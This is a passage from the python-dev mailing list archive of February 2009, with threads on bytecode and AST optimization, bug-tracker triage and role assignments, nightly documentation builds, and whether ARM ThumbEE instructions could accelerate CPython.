>>>> nan = float('nan')
>>>> nan < nan
> False
>>>> nan >= nan
> False
> --
> Daniel Stutzbach, Ph.D.
> President, Stutzbach Enterprises, LLC
>



From python at rcn.com  Tue Feb 10 22:20:38 2009
From: python at rcn.com (Raymond Hettinger)
Date: Tue, 10 Feb 2009 13:20:38 -0800
Subject: [Python-Dev] Expression optimizations
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com><ca471dc20902100758l6db2a0a6mc1f485e92cb5b411@mail.gmail.com>
	<op.uo487jc303jqhe@cesareprova.org>
	<951A81ABBD7F4CA7956A8CB9DC157CD8@RaymondLaptop1>
	<49291.151.53.147.90.1234299412.squirrel@webmail3.pair.com>
Message-ID: <86D9F01DF2FE43ADA55B5C5382BBF7A1@RaymondLaptop1>

[Cesare Di Mauro]
> I'm playing with the virtual machine and I have some ideas about possibile
> optimizations that could be applyed. But I need to verify them, so
> understanding what is possible and what is not, is a primary goal for me.

The best way to understand what is possible is to disassemble bytecode
and the look at *exactly* how those are executed by ceval.c.  That makes
it possible to identify which transformations are semantically neutral.

FWIW, I think the path of peephole optimizing been mostly exhausted.
A much more fertile field of search is to examine what can be done with
the AST.  Sections of the tree may provide more context so that a broader
range of simplifications and transformations are possible.

This should discussion probably be taken off python-dev and moved to 
to comp.lang.python until the exercise has grown beyond "playing with
the virtual machine."

Raymond

From brett at python.org  Tue Feb 10 22:26:12 2009
From: brett at python.org (Brett Cannon)
Date: Tue, 10 Feb 2009 13:26:12 -0800
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
Message-ID: <bbaeab100902101326w775a505q669ed978e1e65af0@mail.gmail.com>

On Tue, Feb 10, 2009 at 05:23, Daniel (ajax) Diniz <ajaksu at gmail.com> wrote:

> [SNIP]
> Iff this kind of Bug-Day-ish work is desirable, doesn't disrupt real
> work and people agree the workflow would be better, I'd like to have
> developer rights in the tracker, as per Antoine's suggestion. FWIW, I
> have no problem with the current situation.
>

OK, three enthusiastic votes to give them is plenty for me. You should have
the Developer role now, Daniel. Let me know if I screwed up at all in
switchng the role on for you.

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090210/faf3f028/attachment.htm>

From ziade.tarek at gmail.com  Tue Feb 10 22:30:21 2009
From: ziade.tarek at gmail.com (=?ISO-8859-1?Q?Tarek_Ziad=E9?=)
Date: Tue, 10 Feb 2009 22:30:21 +0100
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
Message-ID: <94bdd2610902101330i25c672f1v6565648836cc02ed@mail.gmail.com>

On Tue, Feb 10, 2009 at 2:23 PM, Daniel (ajax) Diniz <ajaksu at gmail.com> wrote:

>
> If anyone is interested in being added as nosy for any category of
> bugs, let me know and I'll do that as I scan the tracker.

I'll take Distutils related issues,

Thank you

Tarek

From cesare.dimauro at a-tono.com  Tue Feb 10 22:53:54 2009
From: cesare.dimauro at a-tono.com (Cesare Di Mauro)
Date: Tue, 10 Feb 2009 22:53:54 +0100 (CET)
Subject: [Python-Dev] Expression optimizations
In-Reply-To: <86D9F01DF2FE43ADA55B5C5382BBF7A1@RaymondLaptop1>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com><ca471dc20902100758l6db2a0a6mc1f485e92cb5b411@mail.gmail.com>
	<op.uo487jc303jqhe@cesareprova.org>   
	<951A81ABBD7F4CA7956A8CB9DC157CD8@RaymondLaptop1>
	<49291.151.53.147.90.1234299412.squirrel@webmail3.pair.com>
	<86D9F01DF2FE43ADA55B5C5382BBF7A1@RaymondLaptop1>
Message-ID: <50715.151.53.147.90.1234302834.squirrel@webmail3.pair.com>

On Mar, Feb 10, 2009 10:20PM, Raymond Hettinger wrote:
> [Cesare Di Mauro]
>> I'm playing with the virtual machine and I have some ideas about
>> possibile
>> optimizations that could be applyed. But I need to verify them, so
>> understanding what is possible and what is not, is a primary goal for
>> me.
>
> The best way to understand what is possible is to disassemble bytecode
> and the look at *exactly* how those are executed by ceval.c.  That makes
> it possible to identify which transformations are semantically neutral.

I've already done it, but ceval.c isn't enough. It makes use of external
functions to do some works, like PyObject_RichCompare, for example. So
I've asked some information here.

> FWIW, I think the path of peephole optimizing been mostly exhausted.

I think so too, but there's room for a few optimizations (introducing some
new opcodes).

> A much more fertile field of search is to examine what can be done with
> the AST.  Sections of the tree may provide more context so that a broader
> range of simplifications and transformations are possible.

I completely agree.

> This should discussion probably be taken off python-dev and moved to
> to comp.lang.python until the exercise has grown beyond "playing with
> the virtual machine."
>
> Raymond

I've already rewritten ceval.c, opcode.h and some other files of Python
2.6.1 to implement my ideas. I think it's a little bit beyond "playing"
with the VM, and I hope to present my work to the next PyCon at Florence,
in Italy, if my paper will be accepted.

Now I'm trying to understand how compiler.c works, to fit in my changes (I
took a look at peephole.c, and it'll be easier, fortunately, but I'll do
it later).

It's not easy for me, since I'm alone, I'm working to a code which is not
mine, and a bit complicated too.

But if you think that this mailing list is not the correct place to ask
for, I'll move to comp.lang.python, as you have suggested.

Thanks,
Cesare

From ajaksu at gmail.com  Wed Feb 11 02:34:53 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Tue, 10 Feb 2009 23:34:53 -0200
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <bbaeab100902101326w775a505q669ed978e1e65af0@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<bbaeab100902101326w775a505q669ed978e1e65af0@mail.gmail.com>
Message-ID: <2d75d7660902101734w586629b9uf6d23bb6f2ef5a62@mail.gmail.com>

Brett Cannon wrote:
> OK, three enthusiastic votes to give them is plenty for me. You should have the Developer role now, Daniel. Let me know if I screwed up at all in switchng the role on for you.

Thanks a lot! Looks like it worked fine :)

Let me try the new thing, then: warnings and import for you, distutils
for Tarek, 2to3 (if any left) for Benjamin and Unicode for Ezio (and
patches for Antoine!).

If anyone else wants to claim or be added to dusty bugs, just give me a shout :)

Cheers,
Daniel

From stephen at thorne.id.au  Wed Feb 11 00:46:20 2009
From: stephen at thorne.id.au (Stephen Thorne)
Date: Wed, 11 Feb 2009 09:46:20 +1000
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <94bdd2610902101330i25c672f1v6565648836cc02ed@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<94bdd2610902101330i25c672f1v6565648836cc02ed@mail.gmail.com>
Message-ID: <20090210234620.GB12722@thorne.id.au>

On 2009-02-10, Tarek Ziad? wrote:
> On Tue, Feb 10, 2009 at 2:23 PM, Daniel (ajax) Diniz <ajaksu at gmail.com> wrote:
> 
> >
> > If anyone is interested in being added as nosy for any category of
> > bugs, let me know and I'll do that as I scan the tracker.
> 
> I'll take Distutils related issues,

If you could look at a solution for http://bugs.python.org/issue1533164
I would be eternally grateful.

-- 
Regards,
Stephen Thorne
Development Engineer
NetBox Blue - 1300 737 060

NetBox Blue is proud to be a sponsor and exhibitor at IBM's Solutions 
Showcase 2009 events. These are held in Perth, Adelaide, Brisbane, Sydney and 
Melbourne in February and March. 
For more details and to register please visit: 
http://www.ibm.com/solutionsshowcase/au


Scanned by the NetBox from NetBox Blue
(http://netboxblue.com/)


From bmschwar at fas.harvard.edu  Wed Feb 11 03:45:15 2009
From: bmschwar at fas.harvard.edu (Benjamin Schwartz)
Date: Tue, 10 Feb 2009 18:45:15 -0800 (PST)
Subject: [Python-Dev]  Python-acceleration instructions on ARM
Message-ID: <21947336.post@talk.nabble.com>


Dear Python developers,

Introduction:
I am writing from the perspective of Sugar Labs [1], which produces Sugar, a
free software project written almost entirely in Python.  Sugar is designed
to run on small, resource-constrained computers.  So far those computers
have been mostly x86, but it seems likely to me that we will soon want to
run on ARM as well, with the new wave of small ARM laptops [2].  These
laptops are likely to run on some variant of the ARM Cortex-A8 CPU core.

The Cortex-A8 chips all contain a set of commands known as ThumbEE or
Jazelle RCT (Runtime Compilation Target) [3].  According to ARM [4]:

"""Jazelle RCT can be used to significantly reduce the code bloat associated
with AOT and JIT compilation, making AOT technology viable on mass-market
devices. It can also be used to support execution environments beyond Java,
such as Microsoft .NET Compact Framework, Python and others."""

"""Jazelle RCT provides an excellent target for any run-time compilation
technology, including JIT and AOT for .NET MSIL, Python and Perl as well as
Java. ARM is working with leading software providers to enable solutions
ready for market with Jazelle RCT."""

The Jazelle RCT system consists of 12 assembly instructions, documented at
[5] and [6].

Question:
ARM is specifically claiming that these instructions can be used to
accelerate Python interpretation.  Is there any interpreter code, in CPython
or elsewhere, that uses ThumbEE mode?  Is there anyone working on this? 
What would the process be to incorporate the use of ThumbEE instructions
into CPython?

The whitepaper mentions the Parrot interpreter specifically, but I cannot
find any indication that anyone is actually working on Jazelle RCT support
in Parrot.

Thank you,
Ben Schwartz

[1] http://sugarlabs.org/go/Main_Page
[2]
http://www.engadget.com/2009/01/09/pegatron-and-freescale-team-for-low-power-ultra-cheap-netbooks/
[3]
http://en.wikipedia.org/wiki/ARM_architecture#Thumb_Execution_Environment_.28ThumbEE.29
[4] http://www.arm.com/products/multimedia/java/jazelle_architecture.html
[5] http://infocenter.arm.com/help/topic/com.arm.doc.dui0379a/CIHBCDGA.html
[6] http://www.arm.com/pdfs/JazelleRCTWhitePaper_final1-0_.pdf
-- 
View this message in context: http://www.nabble.com/Python-acceleration-instructions-on-ARM-tp21947336p21947336.html
Sent from the Python - python-dev mailing list archive at Nabble.com.


From brett at python.org  Wed Feb 11 04:00:57 2009
From: brett at python.org (Brett Cannon)
Date: Tue, 10 Feb 2009 19:00:57 -0800
Subject: [Python-Dev] Python-acceleration instructions on ARM
In-Reply-To: <21947336.post@talk.nabble.com>
References: <21947336.post@talk.nabble.com>
Message-ID: <bbaeab100902101900k292dff10m4ac7a043f4141d5e@mail.gmail.com>

On Tue, Feb 10, 2009 at 18:45, Benjamin Schwartz
<bmschwar at fas.harvard.edu>wrote:

>
> Dear Python developers,
>
> Introduction:
> I am writing from the perspective of Sugar Labs [1], which produces Sugar,
> a
> free software project written almost entirely in Python.  Sugar is designed
> to run on small, resource-constrained computers.  So far those computers
> have been mostly x86, but it seems likely to me that we will soon want to
> run on ARM as well, with the new wave of small ARM laptops [2].  These
> laptops are likely to run on some variant of the ARM Cortex-A8 CPU core.
>
> The Cortex-A8 chips all contain a set of commands known as ThumbEE or
> Jazelle RCT (Runtime Compilation Target) [3].  According to ARM [4]:
>
> """Jazelle RCT can be used to significantly reduce the code bloat
> associated
> with AOT and JIT compilation, making AOT technology viable on mass-market
> devices. It can also be used to support execution environments beyond Java,
> such as Microsoft .NET Compact Framework, Python and others."""
>
> """Jazelle RCT provides an excellent target for any run-time compilation
> technology, including JIT and AOT for .NET MSIL, Python and Perl as well as
> Java. ARM is working with leading software providers to enable solutions
> ready for market with Jazelle RCT."""
>
> The Jazelle RCT system consists of 12 assembly instructions, documented at
> [5] and [6].
>
> Question:
> ARM is specifically claiming that these instructions can be used to
> accelerate Python interpretation.


Wow, really? One of the links below mention that?


>  Is there any interpreter code, in CPython
> or elsewhere, that uses ThumbEE mode?


Nope.


>  Is there anyone working on this?


Not that has contacted us.


>
> What would the process be to incorporate the use of ThumbEE instructions
> into CPython?
>

Well, this all depends on how you try to integrate the instructions. If you
hide it behind the macro or in a clean way that does not penalize skipping
the instructions then you write a patch. But if this can't be done it would
be better to maintain an external set of patches against trunk for this.
This might be pushed anyway as we have slowly been shying away from
platform/CPU-specific code being in the trunk, especially when it does not
come from someone who has been a Python core developer for several years.

-Brett


> The whitepaper mentions the Parrot interpreter specifically, but I cannot
> find any indication that anyone is actually working on Jazelle RCT support
> in Parrot.
>
> Thank you,
> Ben Schwartz
>
> [1] http://sugarlabs.org/go/Main_Page
> [2]
>
> http://www.engadget.com/2009/01/09/pegatron-and-freescale-team-for-low-power-ultra-cheap-netbooks/
> [3]
>
> http://en.wikipedia.org/wiki/ARM_architecture#Thumb_Execution_Environment_.28ThumbEE.29
> [4] http://www.arm.com/products/multimedia/java/jazelle_architecture.html
> [5]
> http://infocenter.arm.com/help/topic/com.arm.doc.dui0379a/CIHBCDGA.html
> [6] http://www.arm.com/pdfs/JazelleRCTWhitePaper_final1-0_.pdf
> --
> View this message in context:
> http://www.nabble.com/Python-acceleration-instructions-on-ARM-tp21947336p21947336.html
> Sent from the Python - python-dev mailing list archive at Nabble.com.
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/brett%40python.org
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090210/158f9b7b/attachment.htm>

From bmschwar at fas.harvard.edu  Wed Feb 11 04:11:42 2009
From: bmschwar at fas.harvard.edu (Benjamin M. Schwartz)
Date: Tue, 10 Feb 2009 22:11:42 -0500
Subject: [Python-Dev] Python-acceleration instructions on ARM
In-Reply-To: <bbaeab100902101900k292dff10m4ac7a043f4141d5e@mail.gmail.com>
References: <21947336.post@talk.nabble.com>
	<bbaeab100902101900k292dff10m4ac7a043f4141d5e@mail.gmail.com>
Message-ID: <499241EE.4010206@fas.harvard.edu>

Brett Cannon wrote:
> On Tue, Feb 10, 2009 at 18:45, Benjamin Schwartz
> <bmschwar at fas.harvard.edu>wrote:
> 
...
>> According to ARM [4]:
>>
>> """Jazelle RCT can be used to significantly reduce the code bloat
>> associated
>> with AOT and JIT compilation, making AOT technology viable on mass-market
>> devices. It can also be used to support execution environments beyond Java,
>> such as Microsoft .NET Compact Framework, Python and others."""
>>
>> """Jazelle RCT provides an excellent target for any run-time compilation
>> technology, including JIT and AOT for .NET MSIL, Python and Perl as well as
>> Java. ARM is working with leading software providers to enable solutions
>> ready for market with Jazelle RCT."""
...
>> Question:
>> ARM is specifically claiming that these instructions can be used to
>> accelerate Python interpretation.
> 
> Wow, really? One of the links below mention that?

Yes.  The quotes above from [4], as well as the white paper [6].  No
specific data, just these broad claims.

>> What would the process be to incorporate the use of ThumbEE instructions
>> into CPython?
>>
> 
> Well, this all depends on how you try to integrate the instructions. If you
> hide it behind the macro or in a clean way that does not penalize skipping
> the instructions then you write a patch. But if this can't be done it would
> be better to maintain an external set of patches against trunk for this.

Interesting.  Sugar Labs will probably not attempt this if we would have
to maintain a patched interpreter forever.  However, I hope it will be
possible to integrate into CPython in a manner that does not uglify the
code or affect other architectures.

Anyone else interested in ARM?  ThumbEE support would benefit anyone
running Python on recent ARM chips.  Maybe we need to create a working
group/project team/whatever.

>> [4] http://www.arm.com/products/multimedia/java/jazelle_architecture.html
>> [6] http://www.arm.com/pdfs/JazelleRCTWhitePaper_final1-0_.pdf

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 197 bytes
Desc: OpenPGP digital signature
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090210/caadeaab/attachment-0001.pgp>

From python at rcn.com  Wed Feb 11 05:57:23 2009
From: python at rcn.com (Raymond Hettinger)
Date: Tue, 10 Feb 2009 20:57:23 -0800
Subject: [Python-Dev] Bug tracker house cleaning.
Message-ID: <EDEE1D91AA7149729D998FF83049485F@RaymondLaptop1>

ISTM, that when closing duplicate bug reports, both should reference one another so that the combined threads don't get lost.

Also, assigning bugs to people who haven't asked to handle them doesn't seem like it is actually cleaning-up anything.  If something 
is assigned to someone, I usually assume they intend to work on it at some point.  In contrast, unassigned means that no one is 
currently handling it.

Just thought I would toss this out since the status of so many bugs/patches is being updated today.


Raymond 


From guido at python.org  Wed Feb 11 06:08:22 2009
From: guido at python.org (Guido van Rossum)
Date: Tue, 10 Feb 2009 21:08:22 -0800
Subject: [Python-Dev] Bug tracker house cleaning.
In-Reply-To: <EDEE1D91AA7149729D998FF83049485F@RaymondLaptop1>
References: <EDEE1D91AA7149729D998FF83049485F@RaymondLaptop1>
Message-ID: <ca471dc20902102108x3bfbe742p5b62f4394fc9f338@mail.gmail.com>

On Tue, Feb 10, 2009 at 8:57 PM, Raymond Hettinger <python at rcn.com> wrote:
> ISTM, that when closing duplicate bug reports, both should reference one
> another so that the combined threads don't get lost.

This suggest a feature request (which Google's internal tracker has):
when a bug is closed as Duplicate, indeed both bugs are linked
together, and the people subscribed to both lists are CC'ed on the
email, *and* the CC lists are merged (into the bug that remains open).

> Also, assigning bugs to people who haven't asked to handle them doesn't seem
> like it is actually cleaning-up anything.  If something is assigned to
> someone, I usually assume they intend to work on it at some point.  In
> contrast, unassigned means that no one is currently handling it.

Agreed for people who haven't asked. Some folks specifically said
"please assign bugs of certain types to me". That implies to me a
promise to at least do triage and unassign if they know they won't
handle it -- so in that case (and that case only) it seems fine. There
are also a few bug categories that auto-assign -- this implies the
same to me.

> Just thought I would toss this out since the status of so many bugs/patches
> is being updated today.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From nnorwitz at gmail.com  Wed Feb 11 06:16:48 2009
From: nnorwitz at gmail.com (Neal Norwitz)
Date: Tue, 10 Feb 2009 21:16:48 -0800
Subject: [Python-Dev] Daily documentation builds
In-Reply-To: <00C904AA5E36487683FFC7CB776C9AA9@RaymondLaptop1>
References: <00C904AA5E36487683FFC7CB776C9AA9@RaymondLaptop1>
Message-ID: <ee2a432c0902102116k38a07095q91adeff4d21856b3@mail.gmail.com>

I ran 2.6, 3.0, and 3.1 manually.  2.7 should get picked up on the
next run.  The problem is that regrtest.py -R hangs from time to time
which caused the machine to run out of memory.  Does anyone else have
regrtest.py -R hang for them?  Some tests were disabled to try to
prevent the problem, but it still happens from time to time.

n

On Tue, Feb 10, 2009 at 11:33 AM, Raymond Hettinger <python at rcn.com> wrote:
> The online development docs stopped their nightly rebuilds four days ago.
>
>
> Raymond
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/nnorwitz%40gmail.com
>

From ajaksu at gmail.com  Wed Feb 11 06:58:10 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Wed, 11 Feb 2009 03:58:10 -0200
Subject: [Python-Dev] Bug tracker house cleaning.
In-Reply-To: <EDEE1D91AA7149729D998FF83049485F@RaymondLaptop1>
References: <EDEE1D91AA7149729D998FF83049485F@RaymondLaptop1>
Message-ID: <2d75d7660902102158s5bca2e64m3df17dfff58a55a1@mail.gmail.com>

Hi Raymond,
Thanks a lot for the feedback. I actually am more than a bit concerned
about the effect of my wholesale edits on the signal to noise ration.
Any clarifications are most welcome (and I'm open to change methods
and immediate goals) :)

Raymond Hettinger wrote:
> ISTM, that when closing duplicate bug reports, both should reference one another so that the combined threads don't get lost.

I agree, sorry for not doing it in issue 1820[1]. I will revise the
recently closed bugs to see if I can correct cases where this didn't
happen.

> Also, assigning bugs to people who haven't asked to handle them doesn't seem like it is actually cleaning-up anything.

That was not the goal at all, so any instance in which it did happen
was a mistake. I won't change these unless I was responsible for
wrongfully assigning, but I will look back at all my edits to clean up
such errors.

I've added you as nosy for 2308, the duplicate of 1820, before closing
it. Sorry about the inconvenience,  as you said "both [issues] should
reference one another" is the way to go.

> If something is assigned to someone, I usually assume they intend to work on it at some point.  In contrast, unassigned means that no one is currently handling it.

Fair enough, but in most (hopefully all) cases I only assigned bugs to
people that requested so, in the "Tracker archeology" thread. Tomorrow
I intend to follow up with confirmations/tests/patches for as many of
these issues as I can, so in the short term these bugs will receive
some attention.

> Just thought I would toss this out since the status of so many bugs/patches is being updated today.

I really appreciate that. I'll keep your suggestions in mind and try
to improve my edits.

Best regards,
Daniel

[1] http://bugs.python.org/issue1820

From ajaksu at gmail.com  Wed Feb 11 07:08:54 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Wed, 11 Feb 2009 04:08:54 -0200
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <bbaeab100902101104m48261c38pcb642899a854ed78@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<bbaeab100902101104m48261c38pcb642899a854ed78@mail.gmail.com>
Message-ID: <2d75d7660902102208u202216f0p3ec8dfc05407459@mail.gmail.com>

Brett Cannon wrote:
> Warnings and import for me.

Done. Tomorrow I'll see what I can triage/test in those.

>> Talking about Bug Days, I see lots of easy bugs, some with outdated
>> patches. Is there any plan of doing a Bug Day around PyCon time?
>
> Well, the sprints at PyCon are Bug Days themselves really, although they happen during the week so that tends to cause problems. As of right now there are no plans but someone can obviously plan one if they feel up for it.

OK, sometime later I'll try to flag Easy bugs, then.

Daniel

From ajaksu at gmail.com  Wed Feb 11 07:20:59 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Wed, 11 Feb 2009 04:20:59 -0200
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <94bdd2610902101330i25c672f1v6565648836cc02ed@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<94bdd2610902101330i25c672f1v6565648836cc02ed@mail.gmail.com>
Message-ID: <2d75d7660902102220i30d9d729u469acf8062083072@mail.gmail.com>

Tarek Ziad? wrote:
> I'll take Distutils related issues,

Done. Since Akira Kitada is helping with many distutils issues, I'll
skip looking at them for now. Ping me if you need tests or simple
patches :)

Regards,
Daniel

From ajaksu at gmail.com  Wed Feb 11 07:24:09 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Wed, 11 Feb 2009 04:24:09 -0200
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <1afaf6160902101218t317c53akdefd4937c9619b40@mail.gmail.com>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<1afaf6160902101218t317c53akdefd4937c9619b40@mail.gmail.com>
Message-ID: <2d75d7660902102224h550489c5ja4d99fe4d7606713@mail.gmail.com>

Benjamin Peterson wrote:
> Adding/assigning to me on 2to3 bugs is fine, but usually I notice
> stuff I'm interested in as it rises to the top.

Done, found a couple more. There are also some -3 warnings open, if
that interests you :)

Thanks for the support, I only saw it was a +10 now :D

Cheers,
Daniel

From martin at v.loewis.de  Wed Feb 11 08:27:34 2009
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Wed, 11 Feb 2009 08:27:34 +0100
Subject: [Python-Dev] Python-acceleration instructions on ARM
In-Reply-To: <bbaeab100902101900k292dff10m4ac7a043f4141d5e@mail.gmail.com>
References: <21947336.post@talk.nabble.com>
	<bbaeab100902101900k292dff10m4ac7a043f4141d5e@mail.gmail.com>
Message-ID: <49927DE6.7030802@v.loewis.de>

>     ARM is specifically claiming that these instructions can be used to
>     accelerate Python interpretation.
> 
> 
> Wow, really? One of the links below mention that?

I'm skeptical though that you can really produce speedups for CPython,
though; ISTM that they added Python only as a front-end language for
Parrot, and added Parrot only because it looks similar to JVM and .NET
(i.e. without actually testing that you can gain performance).

>From reading the paper, ISTM that you *can* expect speedups for your
JIT-generated code. In ThumbEE, you have the following additional
features:

- fast null pointer checks: any register-indirect addressing in ThumbEE
  mode checks whether the base register is NULL; if it is, a callback
  is invoked (which could then throw NullPointerException). This is
  irrelevant in Python, because we don't use NULL as the value for "no
  object"
- fast array bounds check: there is an instruction that checks
  whether 0 <= Rm <= Rn, and invokes a callback if it's not; this
  would then throw ArrayOutOfBoundsException. This instruction would
  be emitted by JIT just before any array access. In Python, you cannot
  easily JIT array access into a direct machine instruction (as you
  need to go through tp_as_sequence->sq_item); the array bounds check
  would likely disappear in white noise.
- fast switch instruction: there is an efficient way to switch 256
  different byte code operations, with an optional immediate parameter.
  It will call/jump to 256 byte code handlers. This allows for a
  straight-forward JIT compiler which essentially compiles all byte
  codes into such switch instructions. That would work for Python as
  well, but require that ceval gets rewritten entirely.
- fast locals: efficient access to a local-variables array, for
  JIT generation of ldloc.i4 (in .NET, not sure what the Java
  byte code for local variables is). Would work as well for Python,
  assuming there is a JIT compiler in the first place. R9 holds
  the fastlocals pointer (which is good use of the register, since
  you cannot access it in Thumb mode, anyway)
- fast instance variables: likewise, with R10 holding the this
  pointer. Not applicable to Python, since there is no byte code
  for instance variable access.
- efficient array indexing: they give shift-and-index back to
  Thumb mode, for a shift by 2, allowing to index arrays with
  4-byte elements in a single instruction (rather than requiring
  a separate multipy-by-four). Again useful for JIT of array
  access instructions, not applicable to Python - although it
  would be nice if the C compiler knew how to emit that.

Regards,
Martin

From martin at v.loewis.de  Wed Feb 11 08:55:10 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 11 Feb 2009 08:55:10 +0100
Subject: [Python-Dev] Python-acceleration instructions on ARM
In-Reply-To: <49927DE6.7030802@v.loewis.de>
References: <21947336.post@talk.nabble.com>	<bbaeab100902101900k292dff10m4ac7a043f4141d5e@mail.gmail.com>
	<49927DE6.7030802@v.loewis.de>
Message-ID: <4992845E.9010003@v.loewis.de>

> - fast instance variables: likewise, with R10 holding the this
>   pointer. Not applicable to Python, since there is no byte code
>   for instance variable access.

Follow-up: this could be used to JIT LOAD_CONST efficiently, though,
putting co_consts into R10.

Regards,
Martin

From ziade.tarek at gmail.com  Wed Feb 11 10:08:42 2009
From: ziade.tarek at gmail.com (=?ISO-8859-1?Q?Tarek_Ziad=E9?=)
Date: Wed, 11 Feb 2009 10:08:42 +0100
Subject: [Python-Dev] Tracker archeology
In-Reply-To: <20090210234620.GB12722@thorne.id.au>
References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com>
	<94bdd2610902101330i25c672f1v6565648836cc02ed@mail.gmail.com>
	<20090210234620.GB12722@thorne.id.au>
Message-ID: <94bdd2610902110108s6fed0a67k3c7e0b27ddfb7e5c@mail.gmail.com>

On Wed, Feb 11, 2009 at 12:46 AM, Stephen Thorne <stephen at thorne.id.au> wrote:
> On 2009-02-10, Tarek Ziad? wrote:
>> On Tue, Feb 10, 2009 at 2:23 PM, Daniel (ajax) Diniz <ajaksu at gmail.com> wrote:
>>
>> >
>> > If anyone is interested in being added as nosy for any category of
>> > bugs, let me know and I'll do that as I scan the tracker.
>>
>> I'll take Distutils related issues,
>
> If you could look at a solution for http://bugs.python.org/issue1533164
> I would be eternally grateful.

ok, that would be the next one I am working on in that case,

Regards
Tarek

From cesare.dimauro at a-tono.com  Wed Feb 11 12:02:59 2009
From: cesare.dimauro at a-tono.com (Cesare Di Mauro)
Date: Wed, 11 Feb 2009 12:02:59 +0100
Subject: [Python-Dev] Python-acceleration instructions on ARM
In-Reply-To: <499241EE.4010206@fas.harvard.edu>
References: <21947336.post@talk.nabble.com>
	<bbaeab100902101900k292dff10m4ac7a043f4141d5e@mail.gmail.com>
	<499241EE.4010206@fas.harvard.edu>
Message-ID: <op.uo6oy9r603jqhe@cesareprova.org>

On Feb, 11 2009 at 04:11:AM, Benjamin M. Schwartz <bmschwar at fas.harvard.edu> wrote:

> Brett Cannon wrote:
>> On Tue, Feb 10, 2009 at 18:45, Benjamin Schwartz
>> <bmschwar at fas.harvard.edu>wrote:
>>
> ...
>>> According to ARM [4]:
>>>
>>> """Jazelle RCT can be used to significantly reduce the code bloat
>>> associated
>>> with AOT and JIT compilation, making AOT technology viable on mass-market
>>> devices. It can also be used to support execution environments beyond Java,
>>> such as Microsoft .NET Compact Framework, Python and others."""
>>>
>>> """Jazelle RCT provides an excellent target for any run-time compilation
>>> technology, including JIT and AOT for .NET MSIL, Python and Perl as well as
>>> Java. ARM is working with leading software providers to enable solutions
>>> ready for market with Jazelle RCT."""
> ...
>>> Question:
>>> ARM is specifically claiming that these instructions can be used to
>>> accelerate Python interpretation.
>>
>> Wow, really? One of the links below mention that?
>
> Yes.  The quotes above from [4], as well as the white paper [6].  No
> specific data, just these broad claims.
>
>>> What would the process be to incorporate the use of ThumbEE instructions
>>> into CPython?
>>>
>>
>> Well, this all depends on how you try to integrate the instructions. If you
>> hide it behind the macro or in a clean way that does not penalize skipping
>> the instructions then you write a patch. But if this can't be done it would
>> be better to maintain an external set of patches against trunk for this.
>
> Interesting.  Sugar Labs will probably not attempt this if we would have
> to maintain a patched interpreter forever.  However, I hope it will be
> possible to integrate into CPython in a manner that does not uglify the
> code or affect other architectures.
>
> Anyone else interested in ARM?  ThumbEE support would benefit anyone
> running Python on recent ARM chips.  Maybe we need to create a working
> group/project team/whatever.
>
>>> [4] http://www.arm.com/products/multimedia/java/jazelle_architecture.html
>>> [6] http://www.arm.com/pdfs/JazelleRCTWhitePaper_final1-0_.pdf

It's not useful for CPython, since it's based on a loop which evaluates a bytecode
at the time.

You have to rewrite the virtual machine implementing a JIT compiler that
generates Thumb-EE instructions. But it's a big effort, since ceval.c works in a
completely different manner.

I don't know if a form of JIT will be implemented in future CPython
implementations, but if a step in this direction will be made, writing a back-end
that uses Thumb-EE will be much easier.

Cheers,
Cesare

From ncoghlan at gmail.com  Wed Feb 11 12:09:49 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Wed, 11 Feb 2009 21:09:49 +1000
Subject: [Python-Dev] Python-acceleration instructions on ARM
In-Reply-To: <op.uo6oy9r603jqhe@cesareprova.org>
References: <21947336.post@talk.nabble.com>	<bbaeab100902101900k292dff10m4ac7a043f4141d5e@mail.gmail.com>	<499241EE.4010206@fas.harvard.edu>
	<op.uo6oy9r603jqhe@cesareprova.org>
Message-ID: <4992B1FD.8050503@gmail.com>

